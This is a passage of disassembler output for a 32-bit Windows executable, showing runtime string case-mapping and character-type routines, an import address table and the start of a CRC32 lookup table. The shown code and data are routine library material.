ax, 5Ah ja short loc_429AD2 movzx eax, ax add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_429AD2: ; CODE XREF: sub_429AA3+1Fj ; sub_429AA3+25j movzx eax, ax leave retn ; --------------------------------------------------------------------------- loc_429AD7: ; CODE XREF: sub_429AA3+19j cmp ax, 100h jnb short loc_429AF1 push 1 push eax call sub_429DD7 test eax, eax pop ecx pop ecx jnz short loc_429AF1 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_429AF1: ; CODE XREF: sub_429AA3+38j ; sub_429AA3+46j push ds:dword_4E29B4 lea eax, [ebp+var_4] push 1 push eax push 1 lea eax, [ebp+arg_0] push eax push 100h push ds:dword_4E29A4 call sub_429B7E add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_429B22 mov ax, [ebp+var_4] locret_429B22: ; CODE XREF: sub_429AA3+79j leave retn sub_429AA3 endp ; --------------------------------------------------------------------------- dd 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429B30 proc near ; CODE XREF: sub_429A60+9j arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov al, 0FFh mov edi, edi loc_429B40: ; CODE XREF: sub_429B30+20j ; sub_429B30+40j or al, al jz short loc_429B76 mov al, [esi] add esi, 1 mov ah, [edi] add edi, 1 cmp ah, al jz short loc_429B40 sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_429B40 sbb al, al sbb al, 0FFh loc_429B76: ; CODE XREF: sub_429B30+12j movsx eax, al pop ebx pop esi pop edi leave retn sub_429B30 endp ; =============== S U B R O U T I N E ======================================= sub_429B7E proc near ; CODE XREF: sub_429AA3+6Bp push 24h push offset dword_43A3B0 call sub_425F14 xor ebx, ebx xor edi, edi inc edi cmp ds:dword_4E2B88, ebx jnz short loc_429BCC push ebx push ebx push edi push offset dword_439C24 push 100h push ebx call ds:dword_42B170 ; LCMapStringW test eax, eax jz short loc_429BB7 mov ds:dword_4E2B88, edi jmp short loc_429BCC ; --------------------------------------------------------------------------- loc_429BB7: ; CODE XREF: sub_429B7E+2Fj call ds:dword_42B01C ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_429BCC mov ds:dword_4E2B88, 2 loc_429BCC: ; CODE XREF: sub_429B7E+17j ; sub_429B7E+37j ... cmp [ebp+14h], ebx jle short loc_429BEE mov ecx, [ebp+14h] mov eax, [ebp+10h] loc_429BD7: ; CODE XREF: sub_429B7E+63j dec ecx cmp [eax], bx jz short loc_429BE6 inc eax inc eax cmp ecx, ebx jnz short loc_429BD7 or ecx, 0FFFFFFFFh loc_429BE6: ; CODE XREF: sub_429B7E+5Dj or eax, 0FFFFFFFFh sub eax, ecx add [ebp+14h], eax loc_429BEE: ; CODE XREF: sub_429B7E+51j mov eax, ds:dword_4E2B88 cmp eax, edi jnz short loc_429C14 push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_42B170 ; LCMapStringW jmp loc_429DCE ; --------------------------------------------------------------------------- loc_429C14: ; CODE XREF: sub_429B7E+77j cmp eax, 2 jz short loc_429C1D cmp eax, ebx jnz short loc_429C71 loc_429C1D: ; CODE XREF: sub_429B7E+99j mov [ebp-24h], ebx mov [ebp-2Ch], ebx mov [ebp-28h], ebx cmp [ebp+8], ebx jnz short loc_429C33 mov eax, ds:dword_4E29A4 mov [ebp+8], eax loc_429C33: ; CODE XREF: sub_429B7E+ABj cmp [ebp+20h], ebx jnz short loc_429C40 mov eax, ds:dword_4E29B4 mov [ebp+20h], eax loc_429C40: ; CODE XREF: sub_429B7E+B8j push dword ptr [ebp+8] call sub_4282DB pop ecx cmp [ebp+20h], eax jz short loc_429C56 cmp eax, 0FFFFFFFFh jz short loc_429C56 mov [ebp+20h], eax loc_429C56: ; CODE XREF: sub_429B7E+CEj ; sub_429B7E+D3j push ebx push ebx push ebx push ebx push dword ptr [ebp+14h] push dword ptr [ebp+10h] push ebx push dword ptr [ebp+20h] call ds:dword_42B090 ; WideCharToMultiByte mov [ebp-20h], eax cmp eax, ebx jnz short loc_429C78 loc_429C71: ; CODE XREF: sub_429B7E+9Dj ; sub_429B7E+141j xor eax, eax jmp loc_429DCE ; --------------------------------------------------------------------------- loc_429C78: ; CODE XREF: sub_429B7E+F1j mov [ebp-4], ebx add eax, 3 and eax, 0FFFFFFFCh call sub_41EA20 mov [ebp-18h], esp mov eax, esp mov [ebp-1Ch], eax or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_429CAC ; --------------------------------------------------------------------------- dd 0C340C033h, 0E8E8658Bh, 0FFFFBDD2h, 5D89DB33h, 0FC4D83E4h dd 47FF33FFh ; --------------------------------------------------------------------------- loc_429CAC: ; CODE XREF: sub_429B7E+114j cmp [ebp-1Ch], ebx jnz short loc_429CC4 push dword ptr [ebp-20h] call sub_41E5D3 pop ecx mov [ebp-1Ch], eax cmp eax, ebx jz short loc_429C71 mov [ebp-2Ch], edi loc_429CC4: ; CODE XREF: sub_429B7E+131j push ebx push ebx push dword ptr [ebp-20h] push dword ptr [ebp-1Ch] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push ebx push dword ptr [ebp+20h] call ds:dword_42B090 ; WideCharToMultiByte test eax, eax jz loc_429DAE push ebx push ebx push dword ptr [ebp-20h] push dword ptr [ebp-1Ch] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_42B174 ; LCMapStringA mov esi, eax mov [ebp-30h], esi cmp esi, ebx jz loc_429DAE mov [ebp-4], edi add eax, 3 and eax, 0FFFFFFFCh call sub_41EA20 mov [ebp-18h], esp mov edi, esp mov [ebp-34h], edi or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_429D38 ; --------------------------------------------------------------------------- db 33h, 0C0h, 40h dd 0E8658BC3h, 0FFBD45E8h, 33DB33FFh, 0FC4D83FFh, 0D0758BFFh ; --------------------------------------------------------------------------- loc_429D38: ; CODE XREF: sub_429B7E+1A1j cmp edi, ebx jnz short loc_429D50 push esi call sub_41E5D3 pop ecx mov edi, eax cmp edi, ebx jz short loc_429DB1 mov dword ptr [ebp-28h], 1 loc_429D50: ; CODE XREF: sub_429B7E+1BCj push esi push edi push dword ptr [ebp-20h] push dword ptr [ebp-1Ch] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_42B174 ; LCMapStringA test eax, eax jz short loc_429DB1 test byte ptr [ebp+0Dh], 4 jz short loc_429D8D mov [ebp-24h], esi cmp [ebp+1Ch], ebx jz short loc_429DB1 cmp [ebp+1Ch], esi jge short loc_429D7E mov esi, [ebp+1Ch] loc_429D7E: ; CODE XREF: sub_429B7E+1FBj push esi push edi push dword ptr [ebp+18h] call sub_41E860 add esp, 0Ch jmp short loc_429DB1 ; --------------------------------------------------------------------------- loc_429D8D: ; CODE XREF: sub_429B7E+1EEj cmp [ebp+1Ch], ebx jnz short loc_429D96 push ebx push ebx jmp short loc_429D9C ; --------------------------------------------------------------------------- loc_429D96: ; CODE XREF: sub_429B7E+212j push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] loc_429D9C: ; CODE XREF: sub_429B7E+216j push esi push edi push 1 push dword ptr [ebp+20h] call ds:dword_42B07C ; MultiByteToWideChar mov [ebp-24h], eax jmp short loc_429DB1 ; --------------------------------------------------------------------------- loc_429DAE: ; CODE XREF: sub_429B7E+160j ; sub_429B7E+181j mov edi, [ebp-34h] loc_429DB1: ; CODE XREF: sub_429B7E+1C9j ; sub_429B7E+1E8j ... cmp [ebp-28h], ebx jz short loc_429DBD push edi call sub_41E2A1 pop ecx loc_429DBD: ; CODE XREF: sub_429B7E+236j cmp [ebp-2Ch], ebx jz short loc_429DCB push dword ptr [ebp-1Ch] call sub_41E2A1 pop ecx loc_429DCB: ; CODE XREF: sub_429B7E+242j mov eax, [ebp-24h] loc_429DCE: ; CODE XREF: sub_429B7E+91j ; sub_429B7E+F5j lea esp, [ebp-40h] call sub_425F4F retn sub_429B7E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429DD7 proc near ; CODE XREF: sub_429AA3+3Dp var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_429E1F cmp [ebp+arg_0], 100h jnb short loc_429DFB movzx eax, [ebp+arg_0] mov ecx, ds:off_4437DC mov ax, [ecx+eax*2] jmp short loc_429E26 ; --------------------------------------------------------------------------- loc_429DFB: ; CODE XREF: sub_429DD7+12j push ds:dword_4E29A4 lea eax, [ebp+var_4] push ds:dword_4E29B4 push eax push 1 lea eax, [ebp+arg_0] push eax push 1 call sub_429E31 add esp, 18h test eax, eax jnz short loc_429E23 loc_429E1F: ; CODE XREF: sub_429DD7+Aj xor eax, eax jmp short loc_429E26 ; --------------------------------------------------------------------------- loc_429E23: ; CODE XREF: sub_429DD7+46j mov eax, [ebp+var_4] loc_429E26: ; CODE XREF: sub_429DD7+22j ; sub_429DD7+4Aj movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_429DD7 endp ; =============== S U B R O U T I N E ======================================= sub_429E31 proc near ; CODE XREF: sub_429DD7+3Cp push 24h push offset dword_43A3C8 call sub_425F14 xor esi, esi xor edi, edi inc edi cmp ds:dword_4E2B8C, esi jnz short loc_429E7C lea eax, [ebp-1Ch] push eax push edi push offset dword_439C24 push edi call ds:dword_42B14C ; GetStringTypeW test eax, eax jz short loc_429E67 mov ds:dword_4E2B8C, edi jmp short loc_429E7C ; --------------------------------------------------------------------------- loc_429E67: ; CODE XREF: sub_429E31+2Cj call ds:dword_42B01C ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_429E7C mov ds:dword_4E2B8C, 2 loc_429E7C: ; CODE XREF: sub_429E31+17j ; sub_429E31+34j ... mov eax, ds:dword_4E2B8C cmp eax, edi jnz short loc_429E9C push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_42B14C ; GetStringTypeW jmp loc_42A04D ; --------------------------------------------------------------------------- loc_429E9C: ; CODE XREF: sub_429E31+52j cmp eax, 2 jz short loc_429EA5 cmp eax, esi jnz short loc_429EF8 loc_429EA5: ; CODE XREF: sub_429E31+6Ej mov [ebp-30h], esi mov [ebp-2Ch], esi cmp [ebp+1Ch], esi jnz short loc_429EB8 mov eax, ds:dword_4E29A4 mov [ebp+1Ch], eax loc_429EB8: ; CODE XREF: sub_429E31+7Dj cmp [ebp+18h], esi jnz short loc_429EC5 mov eax, ds:dword_4E29B4 mov [ebp+18h], eax loc_429EC5: ; CODE XREF: sub_429E31+8Aj push dword ptr [ebp+1Ch] call sub_4282DB pop ecx cmp [ebp+18h], eax jz short loc_429EDB cmp eax, 0FFFFFFFFh jz short loc_429EDB mov [ebp+18h], eax loc_429EDB: ; CODE XREF: sub_429E31+A0j ; sub_429E31+A5j push esi push esi push esi push esi push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi push dword ptr [ebp+18h] call ds:dword_42B090 ; WideCharToMultiByte mov ebx, eax mov [ebp-28h], ebx cmp ebx, esi jnz short loc_429EFF loc_429EF8: ; CODE XREF: sub_429E31+72j ; sub_429E31+126j xor eax, eax jmp loc_42A04D ; --------------------------------------------------------------------------- loc_429EFF: ; CODE XREF: sub_429E31+C5j mov [ebp-4], esi mov eax, ebx add eax, 3 and eax, 0FFFFFFFCh call sub_41EA20 mov [ebp-18h], esp mov eax, esp mov [ebp-24h], eax push ebx push esi push eax call sub_41E5F0 add esp, 0Ch or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_429F44 ; --------------------------------------------------------------------------- dd 0C340C033h, 0E8E8658Bh, 0FFFFBB3Eh, 0DC6583h, 0FFFC4D83h dd 8B47FF33h, 0F633D85Dh ; --------------------------------------------------------------------------- loc_429F44: ; CODE XREF: sub_429E31+F5j cmp [ebp-24h], esi jnz short loc_429F5C push ebx push edi call sub_4205E4 pop ecx pop ecx mov [ebp-24h], eax cmp eax, esi jz short loc_429EF8 mov [ebp-30h], edi loc_429F5C: ; CODE XREF: sub_429E31+116j push esi push esi push ebx push dword ptr [ebp-24h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi push dword ptr [ebp+18h] call ds:dword_42B090 ; WideCharToMultiByte test eax, eax jz loc_42A03C mov [ebp-4], edi lea eax, [ebx+ebx+2] add eax, 3 and eax, 0FFFFFFFCh call sub_41EA20 mov [ebp-18h], esp mov eax, esp mov [ebp-20h], eax or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_429FB6 ; --------------------------------------------------------------------------- dw 0C033h dd 658BC340h, 0BACCE8E8h, 6583FFFFh, 4D8300E0h, 0FF33FFFCh dd 0D85D8B47h db 33h, 0F6h ; --------------------------------------------------------------------------- loc_429FB6: ; CODE XREF: sub_429E31+167j cmp [ebp-20h], esi jnz short loc_429FD0 lea eax, [ebx+ebx+2] push eax call sub_41E5D3 pop ecx mov [ebp-20h], eax cmp eax, esi jz short loc_42A03C mov [ebp-2Ch], edi loc_429FD0: ; CODE XREF: sub_429E31+188j cmp [ebp+1Ch], esi jnz short loc_429FDD mov eax, ds:dword_4E29A4 mov [ebp+1Ch], eax loc_429FDD: ; CODE XREF: sub_429E31+1A2j mov edi, [ebp+10h] add edi, edi mov eax, [ebp-20h] lea esi, [edi+eax] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push eax push ebx push dword ptr [ebp-24h] push dword ptr [ebp+8] push dword ptr [ebp+1Ch] call ds:dword_42B150 ; GetStringTypeA mov [ebp-34h], eax cmp word ptr [esi-2], 0FFFFh jz short loc_42A027 cmp word ptr [esi], 0FFFFh jnz short loc_42A027 push edi push dword ptr [ebp-20h] push dword ptr [ebp+14h] call sub_41F980 add esp, 0Ch jmp short loc_42A02B ; --------------------------------------------------------------------------- loc_42A027: ; CODE XREF: sub_429E31+1DCj ; sub_429E31+1E3j and dword ptr [ebp-34h], 0 loc_42A02B: ; CODE XREF: sub_429E31+1F4j cmp dword ptr [ebp-2Ch], 0 jz short loc_42A03A push dword ptr [ebp-20h] call sub_41E2A1 pop ecx loc_42A03A: ; CODE XREF: sub_429E31+1FEj xor esi, esi loc_42A03C: ; CODE XREF: sub_429E31+143j ; sub_429E31+19Aj cmp [ebp-30h], esi jz short loc_42A04A push dword ptr [ebp-24h] call sub_41E2A1 pop ecx loc_42A04A: ; CODE XREF: sub_429E31+20Ej mov eax, [ebp-34h] loc_42A04D: ; CODE XREF: sub_429E31+66j ; sub_429E31+C9j lea esp, [ebp-40h] call sub_425F4F retn sub_429E31 endp ; --------------------------------------------------------------------------- a0jc db '¸0¦C',0 ; DATA XREF: sub_40F024o db 0E9h dd 0FFFF5EE9h, 0E9C84D8Dh, 0FFFE4FB2h aTjc db '¸T¦C',0 ; DATA XREF: sub_40F47Ao db 0E9h, 0D7h, 5Eh dword_42A070 dd 4D8DFFFFh, 4FA0E914h, 4D8DFFFEh, 4F98E9D8h ; DATA XREF: seg001:0043A67Co db 0FEh, 0FFh aAjc db '¸€¦C',0 ; DATA XREF: sub_40F5F6o db 0E9h dd 0FFFF5EBDh, 4E1F08A1h, 0FEE08300h, 4E1F08A3h db 0, 0C3h aDjc db '¸¤¦C',0 ; DATA XREF: sub_41B802o db 0E9h dd 0FFFF5EA5h, 0E9F04D8Bh, 0FFFFF975h aDzc db '¸„§C',0 ; DATA XREF: sub_429712o sub_429823o db 0E9h, 93h, 5Eh dd 4D8DFFFFh, 4F5CE9D8h db 0FEh, 0FFh aFzc db '¸ä§C',0 ; DATA XREF: sub_4297E3o sub_42987Eo db 0E9h dword_42A0C4 dd 0FFFF5E81h, 0FFFF68h, 5396800h, 4EE80000h, 59FFFF12h ; DATA XREF: seg002:0043C008o dd 1FE4A359h, 68C3004Dh, 0FFFEh, 40068h, 1237E800h, 5959FFFFh dd 4D525CA3h, 0C300h, 3C2h dup(0) seg000 ends ; Section 2. (virtual address 0002B000) ; Virtual size : 00011000 ( 69632.) ; Section size in file : 00011000 ( 69632.) ; Offset to raw data for section: 0002B000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write seg001 segment para public 'DATA' use32 assume cs:seg001 ;org 42B000h dword_42B000 dd 77E75CB5h ; DATA XREF: seg000:004011EEr ; sub_40274D+2D16r ... dword_42B004 dd 77E77963h ; DATA XREF: seg000:004011C7r ; sub_40A263+2C5r ... dword_42B008 dd 77E61BB8h ; DATA XREF: seg000:004011B6r ; sub_40274D+6651r ... dword_42B00C dd 77E7A099h ; DATA XREF: seg000:00401192r ; sub_40274D+1E67r ... dword_42B010 dd 77E704FCh ; DATA XREF: seg000:00401183r ; sub_40274D+1FADr ... dword_42B014 dd 77E61BE6h ; DATA XREF: seg000:00401138r ; sub_40123B+93r ... dword_42B018 dd 77E805D8h ; DATA XREF: sub_4012D6+13Ar ; sub_4012D6:loc_4017E4r ... dword_42B01C dd 77F5157Dh ; DATA XREF: sub_4012D6:loc_4013F6r ; sub_4012D6:loc_401520r ... dword_42B020 dd 77E7A5FDh ; DATA XREF: sub_4012D6+11r ; sub_41B24B+4Dr ... dword_42B024 dd 77E79F93h ; DATA XREF: sub_4012D6+2r ; sub_40A263+CFr ... dword_42B028 dd 77E75CEBh ; DATA XREF: sub_40274D+7721r ; sub_40AF6E+27r ... dword_42B02C dd 77E73628h ; DATA XREF: sub_40274D+7493r ; sub_40A263+325r ... dword_42B030 dd 77E6AD34h ; DATA XREF: sub_40274D+6697r ; sub_41AEDD+35r dword_42B034 dd 77E71AFEh ; DATA XREF: sub_40274D+6484r dword_42B038 dd 77E7751Ah ; DATA XREF: sub_40274D+236Dr ; sub_40274D+2F80r ... dword_42B03C dd 77E7AC37h ; DATA XREF: sub_40274D+705r ; sub_40274D+93Br ... dword_42B040 dd 77E706B7h ; DATA XREF: sub_40A263+25Er ; seg000:00419BA1r ... dword_42B044 dd 77E80656h ; DATA XREF: sub_40A263+251r ; seg000:00426F81r dword_42B048 dd 77E6BD13h ; DATA XREF: sub_40A263:loc_40A417r ; sub_40FDC3+E1r ... dword_42B04C dd 77E70396h ; DATA XREF: sub_40A263+1AEr ; sub_40A263+20Br ... dword_42B050 dd 77E74CABh ; DATA XREF: sub_40A263+197r ; seg000:00412C39r ... dword_42B054 dd 77E79D5Bh ; DATA XREF: sub_40A263+6Br ; sub_40A263+2FBr ... dword_42B058 dd 77E7C2C4h ; DATA XREF: sub_40A263+64r dword_42B05C dd 77E65F4Ch ; DATA XREF: seg000:0040A93Br ; sub_41BE8A+34r dword_42B060 dd 77E7513Ch ; DATA XREF: seg000:0040A9A8r ; sub_4282DB+20r dword_42B064 dd 77E7C657h ; DATA XREF: sub_41B065+32r ; sub_41B24B+16r ... dword_42B068 dd 77E73C49h ; DATA XREF: seg000:004133D1r ; seg000:0041347Cr ... dd 77F7E300h, 77F7E21Fh, 77E7C706h, 77F53275h dword_42B07C dd 77E77CCEh ; DATA XREF: sub_40C89B+61r ; sub_40C979+61r ... dword_42B080 dd 77E78B82h ; DATA XREF: seg000:0040CD7Cr ; seg000:0041152Fr ... dword_42B084 dd 77E79D8Ch ; DATA XREF: seg000:0040CD47r ; seg000:0041063Fr ... dword_42B088 dd 77E73EACh ; DATA XREF: seg000:0040CD2Dr ; seg000:00410623r dword_42B08C dd 77E7A837h ; DATA XREF: seg000:0040CCAFr ; seg000:004105EBr ... dword_42B090 dd 77E79924h ; DATA XREF: sub_40F87A+A9r ; seg000:004101BEr ... dword_42B094 dd 77E616B4h ; DATA XREF: seg000:004116EDr ; seg000:0041416Fr ... dword_42B098 dd 77E79CE3h ; DATA XREF: seg000:00411666r ; sub_413CD4+73r ... dword_42B09C dd 77E79C90h ; DATA XREF: seg000:00411652r ; seg000:0041165Fr ... dword_42B0A0 dd 77E7727Ah ; DATA XREF: seg000:004115C9r ; sub_413F5A+48r ... dword_42B0A4 dd 77E78EAAh ; DATA XREF: sub_412135+5EDr ; sub_419799+C0r ... dword_42B0A8 dd 77E79424h ; DATA XREF: sub_412135+27Ar ; seg000:00419CB9r dword_42B0AC dd 77E794BFh ; DATA XREF: sub_412135+26Cr ; seg000:00419CA7r dword_42B0B0 dd 77E75E67h ; DATA XREF: sub_412135+20Cr ; sub_412135+5DCr ... dword_42B0B4 dd 77E75D9Eh ; DATA XREF: sub_412135+1FBr ; sub_419799+26r dword_42B0B8 dd 77E78C81h ; DATA XREF: seg000:00412822r ; sub_42569D+43r ... dword_42B0BC dd 77E793EFh ; DATA XREF: seg000:004127EEr ; seg000:00412D17r dword_42B0C0 dd 77E64106h ; DATA XREF: sub_41D779+185r dword_42B0C4 dd 77E64006h ; DATA XREF: sub_41D779+16Er dd 77E76968h, 77EC7C51h dword_42B0D0 dd 77E74C59h ; DATA XREF: seg000:00414121r dword_42B0D4 dd 77E70F89h ; DATA XREF: seg000:00414B2Ar ; sub_417D70+Dr dword_42B0D8 dd 77E802FCh ; DATA XREF: sub_415825+188r ; sub_415825+1FAr ... dword_42B0DC dd 77E6D75Bh ; DATA XREF: sub_415825+17Er ; sub_4164A9+FBr dword_42B0E0 dd 77F51597h ; DATA XREF: seg000:00419D11r ; seg000:00419DEFr ... dword_42B0E4 dd 77F516F8h ; DATA XREF: seg000:00419BD6r ; seg000:00419D9Fr ... dword_42B0E8 dd 77E77CB7h ; DATA XREF: seg000:00419BCCr ; seg000:00419D6Dr ... dword_42B0EC dd 77E7F01Ah ; DATA XREF: seg000:00419C14r ; seg000:00419D7Dr dword_42B0F0 dd 77E61A54h ; DATA XREF: seg000:00419BDFr ; seg000:00419DB7r dword_42B0F4 dd 77E7C3A5h ; DATA XREF: seg000:00419BC0r ; seg000:00419D56r ... dword_42B0F8 dd 77E80618h ; DATA XREF: sub_41B24B+B6r dd 77E78147h dword_42B100 dd 77E76A60h ; DATA XREF: sub_41ACD0+2Dr dword_42B104 dd 77E71B14h ; DATA XREF: sub_41AD5A+26r dword_42B108 dd 77E7166Fh ; DATA XREF: sub_41AD5A+1Dr dword_42B10C dd 77E75090h ; DATA XREF: sub_41AD95+69r dword_42B110 dd 77E74D76h ; DATA XREF: sub_41AD95+36r dword_42B114 dd 77E77797h ; DATA XREF: sub_41AD95+25r dword_42B118 dd 77E7011Ah ; DATA XREF: sub_41AE17+96r dword_42B11C dd 77E73CE2h ; DATA XREF: sub_41AE17+60r dword_42B120 dd 77E668D9h ; DATA XREF: sub_41AEDD+15Dr dword_42B124 dd 77E76A2Eh ; DATA XREF: sub_41C444+D5r dword_42B128 dd 77E7FF65h ; DATA XREF: seg000:0041C8B7r dword_42B12C dd 77EB7624h ; DATA XREF: seg000:0041C89Dr dword_42B130 dd 77E6C29Dh ; DATA XREF: seg000:0041D09Br dword_42B134 dd 77E76C1Ah ; DATA XREF: sub_41D779+19Er dword_42B138 dd 77E775F1h ; DATA XREF: sub_4284E7+131r ; sub_4284E7+196r ... dword_42B13C dd 77E7176Ch ; DATA XREF: sub_42820C+8r dword_42B140 dd 77E7339Ch ; DATA XREF: sub_4281D4+Cr dword_42B144 dd 77F522F2h ; DATA XREF: sub_427108+30r dword_42B148 dd 77E77CC4h ; DATA XREF: seg000:00426F89r dword_42B14C dd 77E7C866h ; DATA XREF: sub_426DA0+24r ; sub_426DA0+128r ... dword_42B150 dd 77E641EBh ; DATA XREF: sub_426DA0+19Cr ; sub_429E31+1CDr dd 77E73FF9h dword_42B158 dd 77E7FF2Eh ; DATA XREF: sub_42687B:loc_4268CBr ; sub_4268F2:loc_426945r dword_42B15C dd 77E77EE1h ; DATA XREF: sub_4266BC+Br dword_42B160 dd 77E7C9E1h ; DATA XREF: sub_4266BC+C1r dword_42B164 dd 77E67702h ; DATA XREF: sub_4266BC:loc_426793r dword_42B168 dd 77E9C5B1h ; DATA XREF: sub_4266BC+113r dword_42B16C dd 77EB9A84h ; DATA XREF: seg000:00426380r dword_42B170 dd 77E781F9h ; DATA XREF: sub_425B55+27r ; sub_425B55+15Br ... dword_42B174 dd 77E77405h ; DATA XREF: sub_425B55+2C3r ; sub_425B55+344r ... dword_42B178 dd 77E7F044h ; DATA XREF: seg000:00425A8Cr ; seg000:00425AE3r ... dword_42B17C dd 77E6169Ah ; DATA XREF: seg000:00425B47r dd 77E7C9E7h dword_42B184 dd 77E78406h ; DATA XREF: sub_42418E+FEr ; sub_42418E+165r ... dword_42B188 dd 77E79C3Dh ; DATA XREF: sub_42418E+157r ; sub_426069+14Er dword_42B18C dd 77E7C931h ; DATA XREF: sub_42418E+19Cr dword_42B190 dd 77E7849Fh ; DATA XREF: sub_422D8A+1Cr ; sub_422F16+93r ... dword_42B194 dd 77F5722Fh ; DATA XREF: sub_41E3C2+FDr ; sub_41E3C2+13Dr ... dword_42B198 dd 77E6167Bh ; DATA XREF: sub_41F87E+9r ; seg000:00426F75r dword_42B19C dd 77F6183Eh ; DATA XREF: sub_4298DCr dword_42B1A0 dd 77E6D706h ; DATA XREF: sub_420383+2Er ; sub_427277+1F5r dword_42B1A4 dd 77E6177Ah ; DATA XREF: start-C3193r ; sub_42418E+57r dword_42B1A8 dd 77E7C938h ; DATA XREF: start:loc_420E19r dword_42B1AC dd 77E76E0Bh ; DATA XREF: sub_4210EF+44r dword_42B1B0 dd 77E7C726h ; DATA XREF: sub_4210EF+11r dword_42B1B4 dd 77E79E34h ; DATA XREF: sub_4211B3+22Fr dword_42B1B8 dd 77E7980Ah ; DATA XREF: sub_4214CB+7Er ; sub_421582+52r ... dword_42B1BC dd 77E73196h ; DATA XREF: sub_4281F0+Cr dword_42B1C0 dd 77E7A13Fh ; DATA XREF: sub_422F16+42r dword_42B1C4 dd 77E6C703h ; DATA XREF: sub_422F16+2Br dword_42B1C8 dd 77E70192h ; DATA XREF: sub_42884D+104r align 10h dword_42B1D0 dd 71AB5A01h ; DATA XREF: sub_41776E+22r dword_42B1D4 dd 71AB4122h ; DATA XREF: sub_417688+CDr dd 71AB1746h, 71AB401Ch, 71AB3F8Dh dword_42B1E4 dd 71AB155Ah ; DATA XREF: sub_416311+6Er ; sub_417688+39r dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh dword_42B1F4 dd 71AB3E5Dh ; DATA XREF: seg000:00411A57r ; sub_416311+88r ... dword_42B1F8 dd 71AB1A6Dh ; DATA XREF: seg000:00411A68r ; seg000:00411B05r ... dword_42B1FC dd 71AB1836h ; DATA XREF: seg000:00411A6Er ; seg000:00411B0Br dword_42B200 dd 71AB1746h ; DATA XREF: seg000:00411A41r ; sub_416F65+1C7r dword_42B204 dd 71AB41DAh ; DATA XREF: seg000:004106DFr ; seg000:00411A15r dword_42B208 dd 71AB5690h ; DATA XREF: seg000:0040FC17r dword_42B20C dd 71AB3C22h ; DATA XREF: seg000:0040F780r ; seg000:00411A21r ... dword_42B210 dd 71AB1AF4h ; DATA XREF: sub_40EE6B+12r ; seg000:00411AE3r dword_42B214 dd 71AB1B7Bh ; DATA XREF: sub_4298D6r dword_42B218 dd 71AB12F8h ; DATA XREF: seg000:0040D16Br ; seg000:00411A35r ... dword_42B21C dd 71AB1890h ; DATA XREF: seg000:0040D6E3r ; sub_40ECCD+4Cr dword_42B220 dd 71AB157Eh ; DATA XREF: sub_40274D+2D73r dd 4 dup(0) dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 